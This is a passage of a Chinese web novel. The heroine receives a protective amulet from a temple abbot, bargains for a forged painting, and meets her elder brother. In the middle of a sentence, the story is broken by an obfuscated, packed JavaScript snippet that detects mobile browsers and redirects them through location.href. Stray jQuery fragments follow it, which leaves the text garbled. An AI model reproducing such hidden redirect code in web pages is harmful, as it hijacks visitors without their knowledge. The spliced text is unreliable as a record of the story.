苏棠一愣,但是很快反应过来回礼:“法师谬赞!”
只见白眉和尚,忽然从兜里掏出了一张符给苏棠:“施主若不嫌弃,老衲赠予一枚护身符给施主。”
苏棠受宠若惊地接过:“法师您客气了。”
“阿弥陀佛,施主…似乎前世尘缘未了……此符或能保施主避一次祸!”说罢便直直往前走了,带着那个玄衣人。
苏棠心中大惊,等她回过神来,人已经走了,她捏着那枚护身符惊惧不定。
前世尘缘未了?
莫不是那白眉老和尚看破了她是重生之人?
不会把她当怪物吧?
应当不会,不然也不会给她护身符。
“二姐姐,你把祈福带挂了吗?”苏彤如厕回来,风风火火的跑,身后的丫鬟也急忙追着她。
“挂了。”
这时候南星也回来,说她倒是看到了一个梯子,只是木梯子沉重,她搬不动,四周找了人也没找到人和她一起搬,只能回来了。
“没事,刚才遇到一个好心人帮忙挂上去了。”
“咦,二姐姐手上的是什么?”
苏棠看着手中的护身符:“是一个法师给的,说是和我有缘送我!”
苏彤扁扁嘴:“哇,还有这样的好事?早知道我就不去如厕了!”
很快一行人返回开元寺前殿,比起她们刚来时,此时来了更多的香客。
苏棠借口要逛庙会,于是几人分散。她想起怀里的平安符,惦记着事,一会寻了个小和尚,通过描述问起了方才那位白眉和尚是谁,她那会一阵惊慌,都没来得及问那位法师的法号。
小和尚通过她的描述一猜就猜出了是谁:“施主说的那位是我们的主持,鉴真法师。”
“鉴真。”
“对啊,我们主持可厉害了,有通晓过去预知未来的本事,修炼的降魔真经甚至能直窥人心。就连当今也十分尊崇他老人家!”那小和尚十分自豪地说。
话落一位年轻和尚走了过来,敲了敲那小和尚的脑袋:“又在胡说什么?后殿打扫了吗?还不快去…”
那小和尚疼得龇牙咧嘴,摸摸脑袋:“师兄,我怎么就胡说了。”
最后还是在师兄的眼神威胁下灰溜溜走了。
那年轻和尚打圆场:“施主见笑了,都是小孩胡诌。”
“出家人不打妄语。”苏棠笑了笑:“早就听闻鉴真法师上知天文下知地理,通晓过去预知未来。”方才苏棠努力的回想,确实想起了曾经世人有传言开元寺主持鉴真法师很厉害,只是并未有世人见过,所以一切只是传言。
可这个传言,她现在信了几分。
“哪里,都是世人传言罢了!”那年轻和尚显然不上套。
“我方才得鉴真法师赐护身符,心下难安,想着点一盏祈愿灯,不知道如何做?”苏棠也知道打听不出什么,转另一个话题。
“护身符?”那年轻和尚眼眸中闪过震惊:“不知施主可否给小僧一观?”
“这…”
“施主有所不知,鉴真法师是小僧师父,师父已经多年未曾亲手写过符咒了,小僧好奇。”
苏棠惊讶,但是随后还是拿出了那枚平安符。
那年轻和尚看过平安符之后,眼中的惊讶更是掩盖不住,随后看着苏棠:“阿弥陀佛,看来师父觉得施主十分有缘,还请施主务必好好带着此平安符。”
“这平安符可有什么不同?”
“千金难求。”年轻和尚郑重道,随后又加一句:“不可转赠他人。”
苏棠点点头,随后道过谢离开。
庙会上苏棠在一些香料草药的摊位寻寻觅觅的,始终未找到自己想要的东西。
她想过,如果任何人都帮不到她,自己最后还是被推到三皇子那,她要做最坏的打算。
大雍叶氏皇族一直都子嗣不丰,所以高宗皇帝就立下过规矩,凡不能生养的女子皆不得入皇家。所以皇家选妃选侍妾,都是需要安排太医以及医女做检查,若是不能生养的女子,必然是不能入选,坏祖宗规矩。
她需要自己做一些手脚让太医以为她不能生养,这事可行,但也意味着她不能生养的事会传出去。她本身只是没落伯府的一个小小庶女,以后的亲事会很难,很大可能会被送去家庙,或者尼姑庵,从此常伴青灯古佛。
所以这是下下策。
没找到东西,她想着下次再四处找找。
苏棠就想打道回府,刚要离开的时候,意外看到了个眼熟的东西。
前朝名家许微之的《寒山夜游图》。
摊位的主人是个干瘦中年人,看到苏棠留意到此物,立刻招呼了起来:“姑娘,看看,这个可是高级货,上边流出来的。”
苏棠听出意思了,有时候宫内的宦官也会偷摸倒卖宫内的东西,这些多是宫内主子赏赐的东西,也有些是不正经来源的。而这些东西在典当行是万万不敢收的,但若是想借此转换成钱银,那么一般的物品在庙会就能倒卖,而一些贵重稀罕物就得放到晓市去倒卖。
苏棠从未去过晓市,只是听说过那里鱼龙混杂,什么东西都有卖,奴隶、女子、珍品字画,甚至还有过卖科举试题的,当然这些都是她前世道听途说过的,未曾亲眼验证过。
苏棠仔细看了看那幅《寒山夜游图》,发现画的左下角有一角,有些许脏污,像梅花一样的浅淡墨渍,若不仔细看是看不出的。
“假的!”
那摊主贼眉鼠眼笑嘻嘻:“姑娘说这话,这是高级货,都是大官人赏玩的好东西。”
一些文人雅士喜好名家之作,会临摹,而很多临摹出来的赝品会被更下层的人购买赏玩一二。若不是权贵阶层,谁又能看过,甚至是上手过真品。
苏棠:“什么价格?”
摊主比了比一根手指:“二十贯钱。”
“二十贯钱!卖这么一个赝品,你想抢钱就直说。”南星这辈子都没见过那么多钱呢。
“这要真是上边的好东西。也不会在这里了。”苏棠说罢转身就要走。
摊主急了:“别啊,姑娘好商量!”
“十贯钱,就这个价!”苏棠回身:“老板你要是觉得不合适就作罢。”
只见那摊主为难了片刻,最后咬咬牙还是卖了:“哎呀呀,姑娘可真会砍价,对半砍,你看这笔触多好……”
苏棠笑而不语,掏银子给他。一看这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275196|198206||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
摊主老板就是不懂画,胸中无半点墨水的人。
等走出庙会,南星才疑惑问:“姑娘干什么花了十两买这赝品,这下我们又捉襟见肘了。”
南星不是想说二姑娘花钱大手大脚,而是如今手头并不宽裕,怕姑娘委屈了。安宁伯府的下人势利眼,二姑娘无母亲帮扶,伯府嫡母虽不曾苛待,但是二姑娘的伙食一向不好,也吃不饱,通常手里有钱的时候还能外面买点好的吃食滋补一下。
“十贯钱买这个,值了。”苏棠没多说,只是让南星拿好。
等几姊妹回到马车的时候,谢巍已经在马车边上等着了,苏棠看了看他依旧发白的脸色,像是失血过多一般,她紧抿着唇,但最后还是什么也没说,只是吩咐了回府。
***
没几天就到年了,安宁伯府是一派喜气洋洋的景象。
听说外求学的嫡长子苏栋,也回来了。
次日苏棠去回春堂请安,就看到了自己这个嫡长兄。苏栋比起父亲,倒是和母亲林氏长得更为相似,圆润带笑的眉眼,看上去是个温润如玉的翩翩少年郎。
苏栋在外求学一年都未曾归家,对苏棠这个庶妹,可以说这是他第一次见。毕竟苏棠刚出生那会,他还小,才稍微记事,对这个尚在襁褓中的妹妹并无印象。
苏益昌对于自己唯一的嫡子还是十分满意的,苏栋身上并无世家子弟的骄奢淫逸,自小在他的培养下刻苦读书。苏益昌问及苏栋近日的读书情况,以及对年后的春闱可有信心。
苏棠听着他们一家人其乐融融的样子,总觉得自己才是这个家里格格不入的人,既没有相处十几年的情分在,如今的她更像是外人。
请安后回去的路上,苏栋叫住了苏棠,递给她一个木盒子:“这支白玉发簪是我在外求学时买的,如今一看倒是十分衬妹妹的气质。”
“多谢兄长。”苏棠没有推辞,收下后递给南星。
苏栋原本一脸笑意,但看到苏棠连打开看都没打开,就把礼物直接递给了丫鬟,顿时脸上有些挂不住笑了。但是想到父亲说的,苏棠极有可能嫁给某个皇子做妾,他还是要和这个妹妹打好关系的,事关未来仕途。
“听说妹妹远在陇西跟着祖母,在祖母膝下学习,精通琴棋书画,知书达理,改日多教教芙儿,她性格骄纵,若是能学到你这个姐姐几分婉约该多好。”苏栋夸了夸苏棠,话又情不自禁提到了自己的亲妹妹,语气中带着宠溺。
“哪里的话,妹妹上女学,学到的东西自是比我多,我那些不过是班门弄斧罢了。”苏棠实在是不想和他闲聊。
两人一边说一边走,苏棠也算是看出了苏栋这是想和她打好关系。
没多久就听到了路过的下人提及,三娘子又在打那个马奴了!
等苏棠时隔几日再看到谢巍时,他再一次跪在雪地中,与上一次一般无二,同时还有另一个丫鬟也跪在雪地里。她本不想来的,却被苏栋拉着一起过来了。
这才晓得,原是芙蓉斋的姑娘勾搭谢巍。谢巍如今虽是马奴,但面容朴素,整个人气质出类拔萃,府里好些个丫鬟对他都颇为有意思,有时候会可怜他,偷偷送点吃食什么的示好,今日正好被苏芙撞见,顿时生了怒气。